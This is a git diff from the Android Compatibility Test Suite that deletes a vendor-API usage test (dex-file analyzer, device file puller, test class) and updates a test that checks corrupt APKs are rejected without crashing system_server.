-import org.jf.dexlib2.DexFileFactory.DexFileNotFoundException;
-import org.jf.dexlib2.Opcodes;
-import org.jf.dexlib2.ReferenceType;
-import org.jf.dexlib2.dexbacked.DexBackedClassDef;
-import org.jf.dexlib2.dexbacked.DexBackedDexFile;
-import org.jf.dexlib2.dexbacked.DexBackedField;
-import org.jf.dexlib2.dexbacked.DexBackedMethod;
-import org.jf.dexlib2.dexbacked.reference.DexBackedFieldReference;
-import org.jf.dexlib2.dexbacked.reference.DexBackedMethodReference;
-import org.jf.dexlib2.dexbacked.reference.DexBackedTypeReference;
-
-public class DexAnalyzer {
-    private static Map<Character, String> primitiveTypes = new HashMap<>();
-    static {
-        primitiveTypes.put('Z', "boolean");
-        primitiveTypes.put('B', "byte");
-        primitiveTypes.put('C', "char");
-        primitiveTypes.put('S', "short");
-        primitiveTypes.put('I', "int");
-        primitiveTypes.put('J', "long");
-        primitiveTypes.put('F', "float");
-        primitiveTypes.put('D', "double");
-        primitiveTypes.put('V', "void");
-    }
-
-    // [[Lcom/foo/bar/MyClass$Inner; becomes
-    // com.foo.bar.MyClass.Inner[][]
-    // and [[I becomes int[][]
-    private static String toCanonicalName(String name) {
-        int arrayDepth = 0;
-        for (int i = 0; i < name.length(); i++) {
-            if (name.charAt(i) == '[') {
-                arrayDepth++;
-            } else {
-                break;
-            }
-        }
-
-        // test the first character.
-        final char firstChar = name.charAt(arrayDepth);
-        if (primitiveTypes.containsKey(firstChar)) {
-            name = primitiveTypes.get(firstChar);
-        } else if (firstChar == 'L') {
-            // omit the leading 'L' and the trailing ';'
-            name = name.substring(arrayDepth + 1, name.length() - 1);
-
-            // replace '/' and '$' to '.'
-            name = name.replace('/', '.').replace('$', '.');
-        } else {
-            throw new RuntimeException("Invalid type name " + name);
-        }
-
-        // add []'s, if any
-        if (arrayDepth > 0) {
-            for (int i = 0; i < arrayDepth; i++) {
-                name += "[]";
-            }
-        }
-        return name;
-    }
-
-    public static abstract class Ref {
-        private final List<String> fromList; // list of files that this reference was found
-
-        protected Ref(String from) {
-            fromList = new ArrayList<>();
-            fromList.add(from);
-        }
-
-        void merge(Ref other) {
-            this.fromList.addAll(other.fromList);
-        }
-
-        String printReferencedFrom() {
-            StringJoiner joiner = new StringJoiner(", ");
-            fromList.stream().forEach(name -> joiner.add(name));
-            return joiner.toString();
-        }
-    }
-
-    public static class TypeRef extends Ref implements Comparable<TypeRef> {
-        private final DexBackedTypeReference ref;
-        private final String name;
-
-        TypeRef(DexBackedTypeReference ref, String from) {
-            super(from);
-            this.ref = ref;
-            name = toCanonicalName(ref.getType());
-        }
-
-        String getName() {
-            return name;
-        }
-
-        boolean isArray() {
-            return ref.getType().charAt(0) == '[';
-        }
-
-        boolean isPrimitiveType() {
-            String name = ref.getType();
-            if (name.length() == 1) {
-                return primitiveTypes.containsKey(name.charAt(0));
-            } else if (name.charAt(0) == '[') {
-                return primitiveTypes.containsKey(name.replaceAll("\\[+", "").charAt(0));
-            }
-            return false;
-        }
-
-        @Override
-        public int compareTo(TypeRef o) {
-            if (o != null) {
-                return getName().compareTo(o.getName());
-            }
-            return 0;
-        }
-    }
-
-    // common parent class for MethodRef and FieldRef
-    public static abstract class MemberRef extends Ref implements Comparable<MemberRef> {
-        private final String signature;
-        private String definingClass;
-
-        protected MemberRef(String signature, String initialDefiningClass, String from) {
-            super(from);
-            this.signature = signature;
-            // This might be incorrect since DexBacked[Method|Field]Reference.getDefiningClass()
-            // only returns the type name of the target object. For example,
-            //
-            // class Super { void foo() {...} }
-            // class Child extends Super { }
-            // Child obj = new Child();
-            // obj.foo();
-            //
-            // then method reference for `obj.foo()` is `Child.foo()` since obj is declared as type
-            // Child. The true defining class is somewhere in the type hierarchy, which is Super
-            // in this case.
-            definingClass = initialDefiningClass;
-        }
-
-        String getSignature() {
-            return signature;
-        }
-
-        String getDefiningClass() {
-            return definingClass;
-        }
-
-        void setDefiningClass(String name) {
-            definingClass = name;
-        }
-
-        String getFullSignature() {
-            return getDefiningClass() + "." + getSignature();
-        }
-
-        @Override
-        public int compareTo(MemberRef o) {
-            if (o != null) {
-                return getFullSignature().compareTo(o.getFullSignature());
-            }
-            return 0;
-        }
-    }
-
-    public static class MethodRef extends MemberRef {
-        private final boolean isConstructor;
-
-        MethodRef(DexBackedMethodReference ref, String from) {
-            super(makeSignature(ref), toCanonicalName(ref.getDefiningClass()), from);
-            isConstructor = ref.getName().equals("<init>");
-        }
-
-        private static String makeSignature(DexBackedMethodReference ref) {
-            StringBuffer sb = new StringBuffer();
-            sb.append(ref.getName());
-            sb.append('(');
-            StringJoiner joiner = new StringJoiner(",");
-            for (String param : ref.getParameterTypes()) {
-                joiner.add(toCanonicalName(param));
-            }
-            sb.append(joiner.toString());
-            sb.append(')');
-            if (!ref.getName().equals("<init>")) {
-                sb.append(toCanonicalName(ref.getReturnType()));
-            }
-            return sb.toString();
-        }
-
-        boolean isConstructor() {
-            return isConstructor;
-        }
-    }
-
-    public static class FieldRef extends MemberRef {
-        FieldRef(DexBackedFieldReference ref, String from) {
-            super(makeSignature(ref), toCanonicalName(ref.getDefiningClass()), from);
-        }
-
-        private static String makeSignature(DexBackedFieldReference ref) {
-            return ref.getName() + ":" + toCanonicalName(ref.getType());
-        }
-    }
-
-    private final Map<String, DefinedClass> definedClassesInDex = new HashMap<>();
-    private final Map<String, DefinedMethod> definedMethodsInDex = new HashMap<>();
-    private final Map<String, DefinedField> definedFieldsInDex = new HashMap<>();
-
-    private final Map<String, TypeRef> typeReferences = new HashMap<>();
-    private final Map<String, MethodRef> methodReferences = new HashMap<>();
-    private final Map<String, FieldRef> fieldReferences = new HashMap<>();
-
-    private final ApprovedApis approvedApis;
-
-    public DexAnalyzer(Stream<PulledFile> files, ApprovedApis approvedApis) {
-        this.approvedApis = approvedApis;
-
-        files.forEach(file -> parse(file));
-
-        // Maps for methods and fields are constructed AFTER all files are parsed.
-        // This is because different dex files can have the same class with different sets of
-        // members - if they are statically linking to the same class which are built
-        // with source code at different times. In that case, members of the classes are
-        // merged together.
-        definedMethodsInDex.putAll(definedClassesInDex.values().stream()
-                .map(DefinedClass::getMethods)
-                .flatMap(methods -> methods.stream())
-                .collect(Collectors.toMap(DefinedMethod::getFullSignature,
-                        Function.identity())));
-
-        definedFieldsInDex.putAll(definedClassesInDex.values().stream()
-                .map(DefinedClass::getFields)
-                .flatMap(fields -> fields.stream())
-                .collect(
-                        Collectors.toMap(DefinedField::getFullSignature, Function.identity())));
-
-        if (UnofficialApisUsageTest.DEBUG) {
-            definedClassesInDex.values().stream().sorted()
-                    .forEach(def -> System.err.println(" Defined class: " + def.getName()));
-
-            definedMethodsInDex.values().stream().sorted()
-                    .forEach(def -> System.err
-                            .println(" Defined method: " + def.getFullSignature()));
-
-            definedFieldsInDex.values().stream().sorted()
-                    .forEach(def -> System.err
-                            .println(" Defined field: " + def.getFullSignature()));
-
-            typeReferences.values().stream().sorted().forEach(
-                    ref -> System.err.println(" type ref: " + ref.getName()));
-            methodReferences.values().stream().sorted().forEach(
-                    ref -> System.err.println(" method ref: " + ref.getFullSignature()));
-            fieldReferences.values().stream().sorted().forEach(
-                    ref -> System.err.println(" field ref: " + ref.getFullSignature()));
-        }
-
-        updateDefiningClassInReferences();
-    }
-
-    /**
-     * Parse a dex file to extract symbols defined in the file and symbols referenced from the file
-     */
-    private void parse(PulledFile file) {
-        if (UnofficialApisUsageTest.DEBUG) {
-            System.err.println("Analyzing file: " + file.pathInDevice);
-        }
-
-        try {
-            parseInner(file, "classes.dex");
-        } catch (DexFileNotFoundException e) {
-            // classes.dex must exist
-            throw new RuntimeException("classes.dex" + " not found in " + file, e);
-        }
-
-        int i = 2;
-        while (true) {
-            try {
-                parseInner(file, String.format("classes%d.dex", i++));
-            } catch (DexFileNotFoundException e) {
-                // failing to find additional dex files is okay. we just stop trying.
-                break;
-            }
-        }
-    }
-
-    private void parseInner(PulledFile file, String dexEntry) throws DexFileNotFoundException {
-        try {
-            DexBackedDexFile dexFile = DexFileFactory.loadDexEntry(file.fileInHost, dexEntry, true,
-                    Opcodes.getDefault());
-
-            // 1. extract defined symbols and add them to the maps
-            dexFile.getClasses().stream().forEach(classDef -> {
-                // If the same class is found (defined from one of the previous files), then
-                // merge the members of this class to the old class.
-                DefinedClass c = definedClassFrom(classDef);
-                if (definedClassesInDex.containsKey(c.getName())) {
-                    definedClassesInDex.get(c.getName()).addNewMembers(c.getMethods(),
-                            c.getFields());
-                } else {
-                    definedClassesInDex.put(c.getName(), c);
-                }
-            });
-
-            // 2. extract referenced symbols and add then to the sets
-            // Note that these *Ref classes are identified by their names or full signatures.
-            // This is required since a same reference can be created by different dex files.
-
-            // array types and primitive types are filtered-out
-            dexFile.getReferences(ReferenceType.TYPE).stream()
-                    .map(t -> new TypeRef((DexBackedTypeReference) t, file.pathInDevice))
-                    .filter(((Predicate<TypeRef>) TypeRef::isArray).negate())
-                    .filter(((Predicate<TypeRef>) TypeRef::isPrimitiveType).negate())
-                    .forEach(ref -> {
-                        if (typeReferences.containsKey(ref.getName())) {
-                            typeReferences.get(ref.getName()).merge(ref);
-                        } else {
-                            typeReferences.put(ref.getName(), ref);
-                        }
-                    });
-
-            dexFile.getReferences(ReferenceType.METHOD).stream()
-                    .map(m -> new MethodRef((DexBackedMethodReference) m, file.pathInDevice))
-                    .forEach(ref -> {
-                        if (methodReferences.containsKey(ref.getFullSignature())) {
-                            methodReferences.get(ref.getFullSignature()).merge(ref);
-                        } else {
-                            methodReferences.put(ref.getFullSignature(), ref);
-                        }
-                    });
-
-            dexFile.getReferences(ReferenceType.FIELD).stream()
-                    .map(f -> new FieldRef((DexBackedFieldReference) f, file.pathInDevice))
-                    .forEach(ref -> {
-                        if (fieldReferences.containsKey(ref.getFullSignature())) {
-                            fieldReferences.get(ref.getFullSignature()).merge(ref);
-                        } else {
-                            fieldReferences.put(ref.getFullSignature(), ref);
-                        }
-                    });
-
-        } catch (IOException e) {
-            throw new RuntimeException("Cannot parse dex file in " + file, e);
-        }
-    }
-
-    /**
-     * For For each method/field reference, try to find a class defining it. If found, update the
-     * reference in the set since its full signature has changed.
-     */
-    private void updateDefiningClassInReferences() {
-        Stream.concat(methodReferences.values().stream(), fieldReferences.values().stream())
-                .forEach(ref -> {
-                    DefinedClass c = findDefiningClass(ref);
-                    if (c != null && !ref.getDefiningClass().equals(c.getName())) {
-                        ref.setDefiningClass(c.getName());
-                    }
-                });
-    }
-
-    /**
-     * Try to find a true class defining the given member.
-     */
-    private DefinedClass findDefiningClass(MemberRef ref) {
-        return findMemberInner(ref, ref.getDefiningClass());
-    }
-
-    /**
-     * Try to find a class defining a member by from the given class up to the parent classes
-     */
-    private DefinedClass findMemberInner(MemberRef ref, String className) {
-        final Function<DefinedClass, Collection<String>> getMethods = (DefinedClass c) -> c
-                .getMethodSignatures();
-        final Function<DefinedClass, Collection<String>> getFields = (DefinedClass c) -> c
-                .getFieldSignatures();
-
-        Function<DefinedClass, Collection<String>> getMembers = ref instanceof MethodRef
-                ? getMethods
-                : getFields;
-
-        final boolean classFoundInDex = definedClassesInDex.containsKey(className);
-        final boolean classFoundInApi = approvedApis.getDefinedClasses().containsKey(className);
-        if (!classFoundInDex && !classFoundInApi) {
-            // unknown class.
-            return null;
-        }
-
-        if (classFoundInDex) {
-            DefinedClass c = definedClassesInDex.get(className);
-            if (getMembers.apply(c).contains(ref.getSignature())) {
-                // method was found in the class
-                return c;
-            }
-        }
-
-        if (classFoundInApi) {
-            DefinedClass c = approvedApis.getDefinedClasses().get(className);
-            if (getMembers.apply(c).contains(ref.getSignature())) {
-                // method was found in the class
-                return c;
-            }
-        }
-
-        // member was not found in the class. try finding in parent classes.
-        // first gather the name of parent classes both from dex and api
-        Set<String> parentClasses = new HashSet<>();
-        if (classFoundInDex) {
-            DefinedClass c = definedClassesInDex.get(className);
-            parentClasses.add(c.getSuperClass());
-            parentClasses.addAll(c.getInterfaces());
-        }
-        if (classFoundInApi) {
-            DefinedClass c = approvedApis.getDefinedClasses().get(className);
-            parentClasses.add(c.getSuperClass());
-            parentClasses.addAll(c.getInterfaces());
-        }
-        // null can be in parentClasses, because null might have been added as getSuperClass() is
-        // null for java.lang.Object
-        parentClasses.remove(null);
-
-        for (String pc : parentClasses) {
-            DefinedClass foundClass = findMemberInner(ref, pc);
-            if (foundClass != null) {
-                return foundClass;
-            }
-        }
-        return null;
-    }
-
-    private static class SkipIfNeeded implements Predicate<Ref> {
-        @Override
-        public boolean test(Ref ref) {
-            String className = (ref instanceof TypeRef) ?
-                    ((TypeRef)ref).getName() : ((MemberRef)ref).getDefiningClass();
-            if (className.endsWith("[]")) {
-                // Reference to array type is skipped
-                return true;
-            }
-            if (className.startsWith("dalvik.annotation.")
-                    || className.startsWith("javax.annotation.")) {
-                // These annotation classes are not part of API but they are not explicitly used.
-                return true;
-            }
-            if (className.startsWith("java.lang.")) {
-                // core java libraries are exempted.
-                return true;
-            }
-            if (ref instanceof MemberRef) {
-                MemberRef memberRef = (MemberRef)ref;
-                if (memberRef.getFullSignature().equals(
-                        "android.os.SystemProperties.set(java.lang.String,java.lang.String)void")) {
-                    // SystemProperties.set is exceptionally allowed.
-                    // TODO(b/73750660): remove this when sysprops are publicized via IDs.
-                    return true;
-                }
-            }
-            return false;
-        }
-    }
-
-    // for each type, method and field references, find the ones that are found neither in dex
-    // nor in api
-    public Stream<TypeRef> collectUndefinedTypeReferences() {
-        return typeReferences.values().stream()
-                .filter(ref -> !definedClassesInDex.containsKey(ref.getName())
-                        && !approvedApis.getDefinedClasses().containsKey(ref.getName()))
-                .filter((new SkipIfNeeded()).negate());
-    }
-
-    public Stream<MethodRef> collectUndefinedMethodReferences() {
-        return methodReferences.values().stream()
-                .filter(ref -> !definedMethodsInDex.containsKey(ref.getFullSignature())
-                        && !approvedApis.getDefinedMethods().containsKey(ref.getFullSignature()))
-                .filter((new SkipIfNeeded()).negate());
-    }
-
-    public Stream<FieldRef> collectUndefinedFieldReferences() {
-        return fieldReferences.values().stream()
-                .filter(ref -> !definedFieldsInDex.containsKey(ref.getFullSignature())
-                        && !approvedApis.getDefinedFields().containsKey(ref.getFullSignature()))
-                .filter((new SkipIfNeeded()).negate());
-    }
-
-    private static DefinedClass definedClassFrom(DexBackedClassDef def) {
-        String name = toCanonicalName(def.getType());
-        String superClassName = toCanonicalName(def.getSuperclass());
-        Collection<String> interfaceNames = def.getInterfaces().stream()
-                .map(n -> toCanonicalName(n))
-                .collect(Collectors.toList());
-
-        Collection<DefinedMethod> methods = StreamSupport
-                .stream(def.getMethods().spliterator(), false /* parallel */)
-                .map(DexAnalyzer::definedMethodFrom).collect(Collectors.toList());
-
-        Collection<DefinedField> fields = StreamSupport
-                .stream(def.getFields().spliterator(), false /* parallel */)
-                .map(DexAnalyzer::definedFieldFrom).collect(Collectors.toList());
-
-        return new DefinedClass(name, superClassName, interfaceNames, methods, fields);
-    }
-
-    private static DefinedMethod definedMethodFrom(DexBackedMethod def) {
-        StringBuffer sb = new StringBuffer();
-        sb.append(def.getName());
-        sb.append('(');
-        StringJoiner joiner = new StringJoiner(",");
-        for (String param : def.getParameterTypes()) {
-            joiner.add(toCanonicalName(param));
-        }
-        sb.append(joiner.toString());
-        sb.append(')');
-        final boolean isConstructor = def.getName().equals("<init>");
-        if (!isConstructor) {
-            sb.append(toCanonicalName(def.getReturnType()));
-        }
-
-        String signature = sb.toString();
-        String definingClass = toCanonicalName(def.getDefiningClass());
-        return new DefinedMethod(signature, definingClass);
-    }
-
-    private static DefinedField definedFieldFrom(DexBackedField def) {
-        String signature = def.getName() + ":" + toCanonicalName(def.getType());
-        String definingClass = toCanonicalName(def.getDefiningClass());
-        return new DefinedField(signature, definingClass);
-    }
-}
diff --git a/hostsidetests/api/src/com/android/cts/api/FilePuller.java b/hostsidetests/api/src/com/android/cts/api/FilePuller.java
deleted file mode 100644
index 5e3b7cb..0000000
--- a/hostsidetests/api/src/com/android/cts/api/FilePuller.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.api;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Path;
-
-import com.android.ddmlib.IShellOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-
-/**
- * Pulls files from a non-rooted device
- */
-class FilePuller {
-    private final ITestDevice device;
-    private final Path hostDir;
-
-    FilePuller(ITestDevice device) {
-        this.device = device;
-        try {
-            hostDir = Files.createTempDirectory("pulled_files");
-            hostDir.toFile().deleteOnExit();
-        } catch (IOException e) {
-            throw new RuntimeException("Cannot create directory for pulled files", e);
-        }
-    }
-
-    void clean() {
-        hostDir.toFile().delete();
-    }
-
-    PulledFile pullFromDevice(String path, String name) {
-        try {
-            File outputFile = new File(hostDir.toFile(), name);
-            FileOutputStream outputStream = new FileOutputStream(outputFile);
-
-            // For files on vendor partition, `adb shell pull` does not work on non-rooted device,
-            // due to the permission. Thus using `cat` to copy file content to outside of the
-            // device, which might a little bit slower than adb pull, but should be acceptable for
-            // testing.
-            device.executeShellCommand(String.format("cat %s", path),
-                    new IShellOutputReceiver() {
-
-                        @Override
-                        public void addOutput(byte[] data, int offset, int len) {
-                            try {
-                                outputStream.write(data, offset, len);
-                            } catch (IOException e) {
-                                throw new RuntimeException("Error pulling file " + path, e);
-                            }
-                        }
-
-                        @Override
-                        public void flush() {
-                            try {
-                                outputStream.close();
-                            } catch (IOException e) {
-                                throw new RuntimeException("Error saving file " + path,
-                                        e);
-                            }
-                        }
-
-                        @Override
-                        public boolean isCancelled() {
-                            // don't cancel at any time.
-                            return false;
-                        }
-                    });
-            return new PulledFile(outputFile, path);
-        } catch (DeviceNotAvailableException e) {
-            throw new RuntimeException("Cannot connect to the device", e);
-        } catch (IOException e) {
-            throw new RuntimeException("Failed to pull file " + path, e);
-        }
-    }
-}
diff --git a/hostsidetests/api/src/com/android/cts/api/PulledFile.java b/hostsidetests/api/src/com/android/cts/api/PulledFile.java
deleted file mode 100644
index 4742d52..0000000
--- a/hostsidetests/api/src/com/android/cts/api/PulledFile.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.api;
-
-import java.io.File;
-
-class PulledFile {
-    final File fileInHost;
-    final String pathInDevice;
-
-    PulledFile(File fileInHost, String pathInDevice) {
-        this.fileInHost = fileInHost;
-        this.pathInDevice = pathInDevice;
-    }
-}
diff --git a/hostsidetests/api/src/com/android/cts/api/UnofficialApisUsageTest.java b/hostsidetests/api/src/com/android/cts/api/UnofficialApisUsageTest.java
deleted file mode 100644
index ba36549..0000000
--- a/hostsidetests/api/src/com/android/cts/api/UnofficialApisUsageTest.java
+++ /dev/null
@@ -1,251 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.api;
-
-import java.io.File;
-import java.io.IOException;
-import java.util.Arrays;
-import java.util.Enumeration;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.stream.Stream;
-import java.util.zip.ZipEntry;
-import java.util.zip.ZipFile;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import com.android.compatibility.common.util.PropertyUtil;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-/**
- * Ensures that java modules in vendor partition on the device are not using any non-approved APIs
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class UnofficialApisUsageTest extends DeviceTestCase {
-    public final static boolean DEBUG = true;
-    private ITestDevice device;
-    private FilePuller filePuller;
-
-    @Override
-    protected void setUp() throws Exception {
-        device = getDevice();
-        filePuller = new FilePuller(device);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        filePuller.clean();
-    }
-
-    private static class JavaModule {
-        enum Type {
-            JAR, APK,
-        }
-
-        public final String name;
-        public final String path;
-        public final Type type;
-
-        private JavaModule(String name, String path, Type type) {
-            this.name = name;
-            this.path = path;
-            this.type = type;
-        }
-
-        public static JavaModule newPackageFromLine(String line) {
-            // package:/path/to/apk=com.foo.bar
-            line = line.split(":")[1]; // filter-out "package:" prefix
-            int separatorPos = line.lastIndexOf('=');
-            String path = line.substring(0, separatorPos);
-            String name = line.substring(separatorPos + 1);
-            return new JavaModule(name, path, Type.APK);
-        }
-
-        public static JavaModule newLibraryFromLine(String line) {
-            // com.foo.bar -> (jar) /path/to/jar
-            String[] tokens = line.trim().split(" ");
-            String name = tokens[0];
-            String type = tokens[3];
-            String path = tokens[4];
-            return new JavaModule(name, path, type.equals("(jar)") ? Type.JAR : Type.APK);
-        }
-    }
-
-    private Stream<JavaModule> getPackages() throws DeviceNotAvailableException {
-        return Arrays.stream(device.executeShellCommand("cmd package list packages -f").split("\n"))
-                .map(line -> JavaModule.newPackageFromLine(line));
-    }
-
-    private Stream<JavaModule> getLibraries() throws DeviceNotAvailableException {
-        // cmd package list libraries only shows the name of the libraries, but not their paths.
-        // Until it shows the paths as well, let's use the old dumpsys package.
-        return Arrays.stream(device.executeShellCommand("dumpsys package libraries").split("\n"))
-                .skip(1) // for "Libraries:" header
-                .map(line -> JavaModule.newLibraryFromLine(line))
-                .filter(module -> module.type == JavaModule.Type.JAR); // only jars
-    }
-
-    private String getRealPath(String path) {
-        try {
-            return device.executeShellCommand(String.format("realpath %s", path));
-        } catch (DeviceNotAvailableException e) {
-            throw new RuntimeException("Cannot connect to device", e);
-        }
-    }
-
-    /**
-     * Tests whether the downloaded file has code or not, by examining the existence of classes.dex
-     * in it
-     */
-    private boolean hasCode(File file) {
-        try {
-            ZipFile zipFile = null;
-            try {
-                zipFile = new ZipFile(file);
-                Enumeration<? extends ZipEntry> entries = zipFile.entries();
-                while (entries.hasMoreElements()) {
-                    ZipEntry e = entries.nextElement();
-                    if (e.getName().equals("classes.dex")) {
-                        return true;
-                    }
-                }
-            } finally {
-                if (zipFile != null) {
-                    zipFile.close();
-                }
-            }
-            return false;
-        } catch (IOException e) {
-            throw new RuntimeException("Error while examining whether code is in " + file, e);
-        }
-    }
-
-    /**
-     * These tests are required only for the Treble-ized devices launching with P or later.
-     *
-     * @throws DeviceNotAvailableException
-     */
-    private boolean isTestRequired() throws DeviceNotAvailableException {
-        return PropertyUtil.propertyEquals(device, "ro.treble.enabled", "true")
-                && PropertyUtil.getFirstApiLevel(device) > 27 /* O_MR1 */;
-    }
-
-    /**
-     * The main test. If there is any type/method/field reference to unknown type/method/field, then
-     * it indicates that vendors are using non-approved APIs.
-     */
-    @Test
-    public void testNonApiReferences() throws Exception {
-        if (!isTestRequired()) {
-            return;
-        }
-        Stream<PulledFile> pulledFiles;
-        Stream<File> apiFiles;
-        ApprovedApis approvedApis;
-        DexAnalyzer extractedApis;
-
-        try {
-            // pulls packages and libraries which are in vendor partition and have code.
-            pulledFiles = Stream.concat(getPackages(), getLibraries())
-                    .filter(module -> getRealPath(module.path).startsWith("/vendor"))
-                    .map(module -> filePuller.pullFromDevice(module.path, module.name))
-                    .filter(file -> hasCode(file.fileInHost));
-
-        } catch (DeviceNotAvailableException e) {
-            throw new RuntimeException("Cannot connect to device", e);
-        }
-
-        apiFiles = Arrays.stream(new String[] {
-            "/current.txt",
-            "/system-current.txt",
-            "/android-test-base-current.txt",
-            "/android-test-runner-current.txt",
-            "/android-test-mock-current.txt",
-            "/27.txt",
-            "/apache-http-legacy-current"
-        }).map(name -> new File(name));
-
-        approvedApis = new ApprovedApis(apiFiles);
-        extractedApis = new DexAnalyzer(pulledFiles, approvedApis);
-
-        StringBuilder sb = new StringBuilder(10000);
-        extractedApis.collectUndefinedTypeReferences().sorted().forEach(
-                ref -> sb.append("Undefined type ref: " + ref.getName() + " from: "
-                        + ref.printReferencedFrom() + "\n"));
-        extractedApis.collectUndefinedMethodReferences().sorted().forEach(
-                ref -> sb.append("Undefined method ref: " + ref.getFullSignature() + " from: "
-                        + ref.printReferencedFrom() + "\n"));
-        extractedApis.collectUndefinedFieldReferences().sorted().forEach(
-                ref -> sb.append("Undefined field ref: " + ref.getFullSignature() + " from: "
-                        + ref.printReferencedFrom() + "\n"));
-        if (sb.length() != 0) {
-            fail(sb.toString());
-        }
-    }
-
-    /**
-     * Ensures that vendor apps are not targeting pre-P SDK.
-     */
-    @Test
-    public void testTargetSdk() throws Exception {
-        if (!isTestRequired()) {
-            return;
-        }
-        StringBuilder output = new StringBuilder();
-        Pattern p = Pattern.compile(".*targetSdk=(.*)\n");
-        getPackages()
-                .filter(module -> getRealPath(module.path).startsWith("/vendor"))
-                .forEach(module -> {
-                    try {
-                        // This is very dependent on how the information is shown in the dump.
-                        // Sould be checked for amendment whenever the format changes in
-                        // dumpPackagesLPr in Settings.java
-                        // 1. targetSdk version is shown as 'targetSdk=<number>'.
-                        // 2: tail -1 is for the case when an apk is updated in the data partition.
-                        // In that case, we get dumps for two packages (first for the updated one,
-                        // and then for the original one). Among these two, we use targetSdk for
-                        // the original one (the last dump), because the updated one can be
-                        // uninstalled or wiped out at any time.
-                        String result = device.executeShellCommand(
-                                "dumpsys package " + module.name + " | grep targetSdk= | tail -1");
-                        Matcher m = p.matcher(result);
-                        if (m.matches() && m.groupCount() == 1) {
-                            String versionString = m.group(1);
-                            int versionInt = Integer.parseInt(versionString);
-                            if (versionInt <= 27) {
-                                output.append("Vendor package " + module.name
-                                        + " is targeting old SDK: " + versionString + "\n");
-                            }
-                        } else {
-                            output.append(
-                                    "Failed to get targetSDK for vendor package " + module.name
-                                            + "\n");
-                        }
-                    } catch (DeviceNotAvailableException e) {
-                        output.append("Failed to get info for vendor package " + module.name
-                                + ". Cause: " + e.getMessage() + "\n");
-                    }
-                });
-        if (output.length() != 0) {
-            fail(output.toString());
-        }
-    }
-}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
index 6849d0c..8516c73 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
@@ -15,18 +15,24 @@
  */
 package android.appsecurity.cts;
 
-import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
 
 import android.platform.test.annotations.AppModeFull;
+import com.android.ddmlib.Log.LogLevel;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.result.InputStreamSource;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.util.FileUtil;
 
 import org.junit.After;
+import org.junit.Assert;
 import org.junit.Before;
 
 import java.io.File;
@@ -35,104 +41,115 @@
  * Set of tests that verify that corrupt APKs are properly rejected by PackageManager and
  * do not cause the system to crash.
  */
-@AppModeFull // TODO: Needs porting to instant
+@AppModeFull(reason = "the corrupt APKs were provided as-is and we cannot modify them to comply with instant mode")
 public class CorruptApkTests extends DeviceTestCase implements IBuildReceiver {
-    private final String B71360999_PKG = "com.android.appsecurity.b71360999";
-    private final String B71361168_PKG = "com.android.appsecurity.b71361168";
-    private final String B79488511_PKG = "com.android.appsecurity.b79488511";
 
     private IBuildInfo mBuildInfo;
 
+    /** A container for information about the system_server process. */
+    private class SystemServerInformation {
+        final long mPid;
+        final long mStartTime;
+
+        SystemServerInformation(long pid, long startTime) {
+            this.mPid = pid;
+            this.mStartTime = startTime;
+        }
+
+        @Override
+        public boolean equals(Object actual) {
+            return (actual instanceof SystemServerInformation)
+                && mPid == ((SystemServerInformation) actual).mPid
+                && mStartTime == ((SystemServerInformation) actual).mStartTime;
+        }
+    }
+
+    /** Retrieves the process id and elapsed run time of system_server. */
+    private SystemServerInformation retrieveInfo() throws DeviceNotAvailableException {
+        ITestDevice device = getDevice();
+
+        // Retrieve the process id of system_server
+        String pidResult = device.executeShellCommand("pidof system_server").trim();
+        assertNotNull("Failed to retrieve pid of system_server", pidResult);
